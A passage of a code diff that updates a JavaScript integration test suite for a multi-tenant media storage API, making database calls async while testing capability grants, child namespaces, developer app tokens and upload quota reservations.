- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another tenant\'s namespace');
+ // ── 2. Five verbs; the older ids keep granting the newer ones ──
+ const UP = ['media.object.upload'];
+ let r = await store(C, svc([...UP, 'media.object.read']), Buffer.from('root object'));
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ const rootObj = r.body;
+ assert.strictEqual(rootObj.namespace, 'community', 'the root namespace by default');
+ r = await call('GET', C, { bearer: svc(['media.object.read']) });
+ assert.strictEqual(r.status, 200, 'read still lists (tokens from before the split)');
+ r = await call('GET', C, { bearer: svc(['media.object.list']) });
+ assert.deepStrictEqual([r.status, r.body.objects.map(o => o.id)], [200, [rootObj.id]], 'media.object.list lists');
+ r = await call('GET', `${C}/${rootObj.id}`, { bearer: svc(['media.object.list']) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'list is not read');
+ r = await call('POST', C, { bearer: svc(['media.object.delete']), body: { kind: 'file' } });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'delete is not write');
+ r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.read']) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read does not delete');
+ r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.delete']) });
+ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted'], 'media.object.delete deletes');
+ r = await call('POST', `${C}/${rootObj.id}/restore`, { bearer: svc(UP) });
+ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready'], 'upload still restores (and deletes)');
+ r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.object.read']), body: { type: 'invariant.scan' } });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'transform needs its grant');
+ r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.derivative.create']), body: { type: 'invariant.scan' } });
+ assert.strictEqual(r.status, 202, `media.derivative.create transforms: ${JSON.stringify(r.body)}`);
+ const job = r.body.job;
+ r = await call('POST', `/api/v2/community/jobs/${job.id}/cancel`, { bearer: svc(UP) });
+ assert.strictEqual(r.status, 200, 'upload still transforms');
+ r = await call('GET', '/api/v2/community/jobs', { bearer: svc(['media.object.list']) });
+ assert.strictEqual(r.status, 200, 'jobs are listed with list');
+ r = await call('GET', `/api/v1/community/files`, { bearer: svc(['media.object.list']) });
+ assert.strictEqual(r.status, 200, 'v1 files list with list');
+ r = await call('POST', C, { bearer: svc(UP, ['live']), body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another tenant\'s namespace');
- // strict_verbs: only the verb's own id counts in that namespace.
- db.run(`UPDATE media_namespaces SET policy = '{"strict_verbs":true}' WHERE namespace = 'community'`);
- r = await call('GET', C, { bearer: svc(['media.object.read']) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: read no longer lists');
- r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(UP) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: upload no longer deletes');
- r = await call('GET', C, { bearer: svc(['media.object.list']) });
- assert.strictEqual(r.status, 200);
- db.run("UPDATE media_namespaces SET policy = '{}' WHERE namespace = 'community'");
- console.log('✅ verbs: read, list, write, delete, transform; older ids still grant; strict_verbs refuses them');
+ // strict_verbs: only the verb's own id counts in that namespace.
+ await db.run(`UPDATE media_namespaces SET policy = '{"strict_verbs":true}' WHERE namespace = 'community'`);
+ r = await call('GET', C, { bearer: svc(['media.object.read']) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: read no longer lists');
+ r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(UP) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: upload no longer deletes');
+ r = await call('GET', C, { bearer: svc(['media.object.list']) });
+ assert.strictEqual(r.status, 200);
+ await db.run("UPDATE media_namespaces SET policy = '{}' WHERE namespace = 'community'");
+ console.log('✅ verbs: read, list, write, delete, transform; older ids still grant; strict_verbs refuses them');
- // ── 3. Child namespaces; grants that name only a child ──
- r = await store(C, svc(UP, ['community.*']), Buffer.from('an avatar'), { namespace: 'avatars' });
- assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'a relative name lands below the root');
- const avatar = r.body;
- assert.strictEqual(namespaces.get('community.avatars').parent, 'community');
- r = await call('POST', C, { bearer: svc(UP), body: { namespace: 'avatars' } });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a grant of the root alone is not its children');
- for (const bad of ['Avatars', 'a..b', 'a.b.c.d', '../x', 'live', '-x']) {
- r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: bad } });
- if (bad === 'live') { assert.deepStrictEqual([r.status, r.body.namespace === undefined], [201, true]); continue; } // relative: community.live
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], bad);
- }
- assert.ok(namespaces.get('community.live'), '"live" is relative to the tenant');
- const onlyAvatars = (cap) => svc(cap, ['community.avatars']);
- r = await call('POST', C, { bearer: onlyAvatars(UP), body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a child grant does not write the root');
- r = await store(C, onlyAvatars(UP), Buffer.from('another avatar'), { namespace: 'community.avatars' });
- assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'the full name works too');
- r = await call('GET', C, { bearer: onlyAvatars(['media.object.list']) });
- assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), 'a child grant lists only its namespace');
- r = await call('GET', `${C}/${rootObj.id}`, { bearer: onlyAvatars(['media.object.read']) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'nor reads the root');
- r = await call('GET', `${C}?namespace=avatars`, { bearer: svc(['media.object.list'], ['community.*']) });
- assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), '?namespace= narrows the list');
- r = await call('GET', `${C}?namespace=community`, { bearer: onlyAvatars(['media.object.list']) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);
- r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'object.hash', object_id: avatar.id } });
- assert.ok(r.status === 202 || r.status === 400, `transform on an object in the granted child: ${JSON.stringify(r.body)}`);
- assert.notStrictEqual(r.body.code, 'capability.namespace_denied');
- r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'invariant.scan' } });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a tenant-wide job is the root\'s');
- // At most MEDIA_NAMESPACE_MAX_CHILDREN (6) below a root: avatars, live, then four more.
- for (const n of ['c1', 'c2', 'c3.d']) {
- r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: n } });
- assert.strictEqual(r.status, 201, `${n}: ${JSON.stringify(r.body)}`);
- }
- r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: 'c4' } });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.namespaces_exceeded']);
- console.log('✅ child namespaces: created by the first upload, granted and listed per namespace, bounded per tenant');
+ // ── 3. Child namespaces; grants that name only a child ──
+ r = await store(C, svc(UP, ['community.*']), Buffer.from('an avatar'), { namespace: 'avatars' });
+ assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'a relative name lands below the root');
+ const avatar = r.body;
+ assert.strictEqual((await namespaces.get('community.avatars')).parent, 'community');
+ r = await call('POST', C, { bearer: svc(UP), body: { namespace: 'avatars' } });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a grant of the root alone is not its children');
+ for (const bad of ['Avatars', 'a..b', 'a.b.c.d', '../x', 'live', '-x']) {
+ r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: bad } });
+ if (bad === 'live') { assert.deepStrictEqual([r.status, r.body.namespace === undefined], [201, true]); continue; } // relative: community.live
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], bad);
+ }
+ assert.ok(await namespaces.get('community.live'), '"live" is relative to the tenant');
+ const onlyAvatars = (cap) => svc(cap, ['community.avatars']);
+ r = await call('POST', C, { bearer: onlyAvatars(UP), body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a child grant does not write the root');
+ r = await store(C, onlyAvatars(UP), Buffer.from('another avatar'), { namespace: 'community.avatars' });
+ assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'the full name works too');
+ r = await call('GET', C, { bearer: onlyAvatars(['media.object.list']) });
+ assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), 'a child grant lists only its namespace');
+ r = await call('GET', `${C}/${rootObj.id}`, { bearer: onlyAvatars(['media.object.read']) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'nor reads the root');
+ r = await call('GET', `${C}?namespace=avatars`, { bearer: svc(['media.object.list'], ['community.*']) });
+ assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), '?namespace= narrows the list');
+ r = await call('GET', `${C}?namespace=community`, { bearer: onlyAvatars(['media.object.list']) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);
+ r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'object.hash', object_id: avatar.id } });
+ assert.ok(r.status === 202 || r.status === 400, `transform on an object in the granted child: ${JSON.stringify(r.body)}`);
+ assert.notStrictEqual(r.body.code, 'capability.namespace_denied');
+ r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'invariant.scan' } });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a tenant-wide job is the root\'s');
+ // At most MEDIA_NAMESPACE_MAX_CHILDREN (6) below a root: avatars, live, then four more.
+ for (const n of ['c1', 'c2', 'c3.d']) {
+ r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: n } });
+ assert.strictEqual(r.status, 201, `${n}: ${JSON.stringify(r.body)}`);
+ }
+ r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: 'c4' } });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.namespaces_exceeded']);
+ console.log('✅ child namespaces: created by the first upload, granted and listed per namespace, bounded per tenant');
- // ── 4. Developer app tokens: app.<project_id>.* ──
- const A = `/api/v2/${PA}/objects`;
- r = await store(A, appTok(), Buffer.from('legacy ns'), { namespace: 'uploads' });
- assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.uploads`], 'a legacy ns [project_id] means the whole project');
- r = await store(A, appTok({ ns: [PA, `app.${PA}.*`] }), Buffer.from('new ns'));
- assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}`], 'the ns Network issues now');
- r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a token for one child of the project');
- r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: { namespace: 'uploads' } });
- assert.strictEqual(r.status, 201);
- r = await call('POST', A, { bearer: appTok({ ns: [`app.${PB}.*`] }), body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another project\'s namespace');
- r = await call('POST', A, { bearer: appTok(), body: { namespace: 'sandbox' } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], 'the sandbox tenant is not a child of production');
- r = await store(A, appTok({ env: 'sandbox' }), Buffer.from('sandbox'), { namespace: 'uploads' });
- assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.sandbox.uploads`], 'sandbox tokens work in the sandbox tenant');
- r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok() });
- assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), [`app.${PA}`, `app.${PA}.uploads`], 'the owner reads its production namespaces');
- const rootNs = r.body.namespaces[0];
- assert.deepStrictEqual([rootNs.root, rootNs.owner, rootNs.quota.bytes, rootNs.quota.bytes_from, rootNs.usage.used_objects, rootNs.usage.used_bytes],
- [true, `project:${PA}`, 1000000, 'tenant', 3, 10 + 9 + 6], 'root usage covers the tenant; the quota is the tenant\'s');
- assert.strictEqual(r.body.namespaces[1].usage.reserved_objects, 1, 'the open upload in uploads is a reservation');
- r = await call('GET', `/api/v2/${PA}/namespaces/uploads`, { bearer: appTok({ cap: ['media.object.read'] }) });
- assert.deepStrictEqual([r.status, r.body.namespace, r.body.usage.used_bytes], [200, `app.${PA}.uploads`, 9]);
- r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok({ env: 'sandbox' }) });
- assert.deepStrictEqual(r.body.namespaces.map(n => [n.namespace, n.sandbox]), [[`app.${PA}.sandbox`, true], [`app.${PA}.sandbox.uploads`, true]]);
- r = await call('GET', `/api/v2/${PA}/namespaces/nope`, { bearer: appTok() });
- assert.deepStrictEqual([r.status, r.body.code], [404, 'media.namespace.not_found']);
- r = await call('GET', '/api/v2/community/namespaces', { bearer: onlyAvatars(['media.object.list']) });
- assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['community.avatars'], 'a child grant sees its namespace only');
- r = await call('GET', '/api/v2/community/namespaces/community', { bearer: onlyAvatars(['media.object.read']) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);
- r = await call('GET', '/api/v2/live/namespaces');
- assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['live', 'live.legacy', 'live.legacy.old'], 'the app key reads every namespace of its tenant');
- console.log('✅ developer tenants: app.<project_id>.* (legacy and new ns), sandbox apart; owner reads namespaces and usage');
+ // ── 4. Developer app tokens: app.<project_id>.* ──
+ const A = `/api/v2/${PA}/objects`;
+ r = await store(A, appTok(), Buffer.from('legacy ns'), { namespace: 'uploads' });
+ assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.uploads`], 'a legacy ns [project_id] means the whole project');
+ r = await store(A, appTok({ ns: [PA, `app.${PA}.*`] }), Buffer.from('new ns'));
+ assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}`], 'the ns Network issues now');
+ r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a token for one child of the project');
+ r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: { namespace: 'uploads' } });
+ assert.strictEqual(r.status, 201);
+ r = await call('POST', A, { bearer: appTok({ ns: [`app.${PB}.*`] }), body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another project\'s namespace');
+ r = await call('POST', A, { bearer: appTok(), body: { namespace: 'sandbox' } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], 'the sandbox tenant is not a child of production');
+ r = await store(A, appTok({ env: 'sandbox' }), Buffer.from('sandbox'), { namespace: 'uploads' });
+ assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.sandbox.uploads`], 'sandbox tokens work in the sandbox tenant');
+ r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok() });
+ assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), [`app.${PA}`, `app.${PA}.uploads`], 'the owner reads its production namespaces');
+ const rootNs = r.body.namespaces[0];
+ assert.deepStrictEqual([rootNs.root, rootNs.owner, rootNs.quota.bytes, rootNs.quota.bytes_from, rootNs.usage.used_objects, rootNs.usage.used_bytes],
+ [true, `project:${PA}`, 1000000, 'tenant', 3, 10 + 9 + 6], 'root usage covers the tenant; the quota is the tenant\'s');
+ assert.strictEqual(r.body.namespaces[1].usage.reserved_objects, 1, 'the open upload in uploads is a reservation');
+ r = await call('GET', `/api/v2/${PA}/namespaces/uploads`, { bearer: appTok({ cap: ['media.object.read'] }) });
+ assert.deepStrictEqual([r.status, r.body.namespace, r.body.usage.used_bytes], [200, `app.${PA}.uploads`, 9]);
+ r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok({ env: 'sandbox' }) });
+ assert.deepStrictEqual(r.body.namespaces.map(n => [n.namespace, n.sandbox]), [[`app.${PA}.sandbox`, true], [`app.${PA}.sandbox.uploads`, true]]);
+ r = await call('GET', `/api/v2/${PA}/namespaces/nope`, { bearer: appTok() });
+ assert.deepStrictEqual([r.status, r.body.code], [404, 'media.namespace.not_found']);
+ r = await call('GET', '/api/v2/community/namespaces', { bearer: onlyAvatars(['media.object.list']) });
+ assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['community.avatars'], 'a child grant sees its namespace only');
+ r = await call('GET', '/api/v2/community/namespaces/community', { bearer: onlyAvatars(['media.object.read']) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);
+ r = await call('GET', '/api/v2/live/namespaces');
+ assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['live', 'live.legacy', 'live.legacy.old'], 'the app key reads every namespace of its tenant');
+ console.log('✅ developer tenants: app.<project_id>.* (legacy and new ns), sandbox apart; owner reads namespaces and usage');
- // ── 5. Quotas: per namespace, reserved at init, reconciled at complete, released, swept ──
- const T = '/api/v2/tiny/objects';
- db.run("INSERT INTO media_namespaces (namespace, app_id, parent, owner, quota_bytes, quota_objects) VALUES ('tiny.box', 'tiny', 'tiny', 'service:tiny', 30, 2)");
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 31 } });
- assert.deepStrictEqual([r.status, r.body.code, r.body.namespace, r.body.quota_bytes], [413, 'media.quota.exceeded', 'tiny.box', 30], 'the child\'s own byte quota');
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 20 } });
- assert.strictEqual(r.status, 201);
- const boxed = r.body;
- assert.strictEqual(namespaces.reservation(boxed.id).bytes, 20, 'init reserves the declared size');
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11 } });
- assert.strictEqual(r.status, 413, 'the reservation counts');
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 5 } });
- assert.strictEqual(r.status, 201);
- const second = r.body;
- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 1 } });
- assert.deepStrictEqual([r.status, r.body.code, r.body.quota_objects], [413, 'media.quota.objects_exceeded', 2], 'the child\'s object quota');
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 76 } });
- assert.deepStrictEqual([r.status, r.body.namespace], [413, 'tiny'], 'the tenant quota (100) covers its children\'s reservations (25)');
- // The bytes replace the declared size; complete settles the reservation, and the ready object counts.
- r = await call('PUT', local(boxed.upload.url), { bearer: null, raw: Buffer.alloc(20, 1) });
- assert.strictEqual(r.status, 200);
- r = await call('POST', `${T}/${boxed.id}/complete`, { bearer: 'tiny-key', body: {} });
- assert.strictEqual(r.status, 200);
- assert.strictEqual(namespaces.reservation(boxed.id), undefined, 'settled at complete');
- let box = namespaces.get('tiny.box');
- assert.deepStrictEqual([box.used_bytes, box.used_objects, box.reserved_bytes, box.reserved_objects], [20, 1, 5, 1], 'the snapshot is reconciled at complete');
- // Complete checks the real size: an undeclared upload that grew past the room is refused there.
- r = await call('POST', T, { bearer: 'tiny-key', body: {} });
- const grow = r.body;
- r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(76, 2) });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the stored bytes are checked (20 + 5 + 76 > 100)');
- r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(40, 2) });
- assert.strictEqual(r.status, 200);
- assert.strictEqual(namespaces.reservation(grow.id).bytes, 40, 're-reserved with the bytes stored');
- db.run("UPDATE apps SET quota_bytes = 60 WHERE app_id = 'tiny'");
- r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and reconciled again at complete (20 + 5 + 40 > 60)');
- db.run("UPDATE apps SET quota_bytes = 100 WHERE app_id = 'tiny'");
- r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });
- assert.strictEqual(r.status, 200);
- // Deleting an upload in progress frees its reservation.
- r = await call('DELETE', `${T}/${second.id}`, { bearer: 'tiny-key' });
- assert.strictEqual(r.status, 200);
- assert.strictEqual(namespaces.reservation(second.id), undefined, 'a deleted upload holds nothing');
- box = namespaces.get('tiny.box');
- assert.deepStrictEqual([box.reserved_bytes, box.reserved_objects], [0, 0]);
+ // ── 5. Quotas: per namespace, reserved at init, reconciled at complete, released, swept ──
+ const T = '/api/v2/tiny/objects';
+ await db.run("INSERT INTO media_namespaces (namespace, app_id, parent, owner, quota_bytes, quota_objects) VALUES ('tiny.box', 'tiny', 'tiny', 'service:tiny', 30, 2)");
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 31 } });
+ assert.deepStrictEqual([r.status, r.body.code, r.body.namespace, r.body.quota_bytes], [413, 'media.quota.exceeded', 'tiny.box', 30], 'the child\'s own byte quota');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 20 } });
+ assert.strictEqual(r.status, 201);
+ const boxed = r.body;
+ assert.strictEqual((await namespaces.reservation(boxed.id)).bytes, 20, 'init reserves the declared size');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11 } });
+ assert.strictEqual(r.status, 413, 'the reservation counts');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 5 } });
+ assert.strictEqual(r.status, 201);
+ const second = r.body;
+ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 1 } });
+ assert.deepStrictEqual([r.status, r.body.code, r.body.quota_objects], [413, 'media.quota.objects_exceeded', 2], 'the child\'s object quota');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 76 } });
+ assert.deepStrictEqual([r.status, r.body.namespace], [413, 'tiny'], 'the tenant quota (100) covers its children\'s reservations (25)');
+ // The bytes replace the declared size; complete settles the reservation, and the ready object counts.
+ r = await call('PUT', local(boxed.upload.url), { bearer: null, raw: Buffer.alloc(20, 1) });
+ assert.strictEqual(r.status, 200);
+ r = await call('POST', `${T}/${boxed.id}/complete`, { bearer: 'tiny-key', body: {} });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(await namespaces.reservation(boxed.id), undefined, 'settled at complete');
+ let box = await namespaces.get('tiny.box');
+ assert.deepStrictEqual([box.used_bytes, box.used_objects, box.reserved_bytes, box.reserved_objects], [20, 1, 5, 1], 'the snapshot is reconciled at complete');
+ // Complete checks the real size: an undeclared upload that grew past the room is refused there.
+ r = await call('POST', T, { bearer: 'tiny-key', body: {} });
+ const grow = r.body;
+ r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(76, 2) });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the stored bytes are checked (20 + 5 + 76 > 100)');
+ r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(40, 2) });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual((await namespaces.reservation(grow.id)).bytes, 40, 're-reserved with the bytes stored');
+ await db.run("UPDATE apps SET quota_bytes = 60 WHERE app_id = 'tiny'");
+ r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and reconciled again at complete (20 + 5 + 40 > 60)');
+ await db.run("UPDATE apps SET quota_bytes = 100 WHERE app_id = 'tiny'");
+ r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });
+ assert.strictEqual(r.status, 200);
+ // Deleting an upload in progress frees its reservation.
+ r = await call('DELETE', `${T}/${second.id}`, { bearer: 'tiny-key' });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(await namespaces.reservation(second.id), undefined, 'a deleted upload holds nothing');
+ box = await namespaces.get('tiny.box');
+ assert.deepStrictEqual([box.reserved_bytes, box.reserved_objects], [0, 0]);
- // Multipart: the session holds the declared size; abort releases it; a new session reserves again.
- db.run("UPDATE apps SET quota_bytes = ? WHERE app_id = 'tiny'", [3 * 1024 * 1024]);
- db.run("UPDATE media_namespaces SET quota_bytes = NULL, quota_objects = NULL WHERE namespace = 'tiny.box'");
- const MB = 1024 * 1024;
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const mp = r.body;
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB } });
- assert.strictEqual(r.status, 413, 'the open session holds its 2 MB');
- r = await call('DELETE', local(mp.upload.multipart.abort_url), { bearer: null });
- assert.strictEqual(r.status, 200);
- assert.strictEqual(namespaces.reservation(mp.id), undefined, 'abort released it');
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });
- assert.strictEqual(r.status, 201, 'the room is back');
- const other = r.body;
- r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'a new session for the aborted upload is checked again');
- r = await call('DELETE', local(other.upload.multipart.abort_url), { bearer: null });
- r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });
- assert.strictEqual(r.status, 201, 'and reserves again when there is room');
- assert.strictEqual(namespaces.reservation(mp.id).bytes, 2 * MB);
+ // Multipart: the session holds the declared size; abort releases it; a new session reserves again.
+ await db.run("UPDATE apps SET quota_bytes = ? WHERE app_id = 'tiny'", [3 * 1024 * 1024]);
+ await db.run("UPDATE media_namespaces SET quota_bytes = NULL, quota_objects = NULL WHERE namespace = 'tiny.box'");
+ const MB = 1024 * 1024;
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const mp = r.body;
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB } });
+ assert.strictEqual(r.status, 413, 'the open session holds its 2 MB');
+ r = await call('DELETE', local(mp.upload.multipart.abort_url), { bearer: null });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(await namespaces.reservation(mp.id), undefined, 'abort released it');
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });
+ assert.strictEqual(r.status, 201, 'the room is back');
+ const other = r.body;
+ r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'a new session for the aborted upload is checked again');
+ r = await call('DELETE', local(other.upload.multipart.abort_url), { bearer: null });
+ r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });
+ assert.strictEqual(r.status, 201, 'and reserves again when there is room');
+ assert.strictEqual((await namespaces.reservation(mp.id)).bytes, 2 * MB);
- // Expiry: an abandoned upload is failed and its bytes freed; an open session keeps its upload.
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 3 } });
- const abandoned = r.body;
- await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });
- const file = model.objectFilePath(model.getObject(abandoned.id));
- assert.ok(fs.existsSync(file));
- db.run("UPDATE media_quota_reservations SET expires_at = datetime('now', '-1 hour') WHERE object_id IN (?, ?)", [abandoned.id, mp.id]);
- const swept = namespaces.expireReservations();
- assert.deepStrictEqual(swept, { expired: 1, dropped: 0 }, 'only the upload with no open session');
- const gone = model.getObject(abandoned.id);
- assert.deepStrictEqual([gone.lifecycle_status, JSON.parse(gone.metadata).failure, fs.existsSync(file), namespaces.reservation(abandoned.id)],
- ['failed', 'upload_expired', false, undefined]);
- assert.ok(namespaces.reservation(mp.id), 'the multipart upload keeps its reservation while its session is open');
- r = await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.not_uploading'], 'an expired upload takes no more bytes');
+ // Expiry: an abandoned upload is failed and its bytes freed; an open session keeps its upload.
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 3 } });
+ const abandoned = r.body;
+ await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });
+ const file = model.objectFilePath(await model.getObject(abandoned.id));
+ assert.ok(fs.existsSync(file));
+ await db.run("UPDATE media_quota_reservations SET expires_at = datetime('now', '-1 hour') WHERE object_id IN (?, ?)", [abandoned.id, mp.id]);
+ const swept = await namespaces.expireReservations();
+ assert.deepStrictEqual(swept, { expired: 1, dropped: 0 }, 'only the upload with no open session');
+ const gone = await model.getObject(abandoned.id);
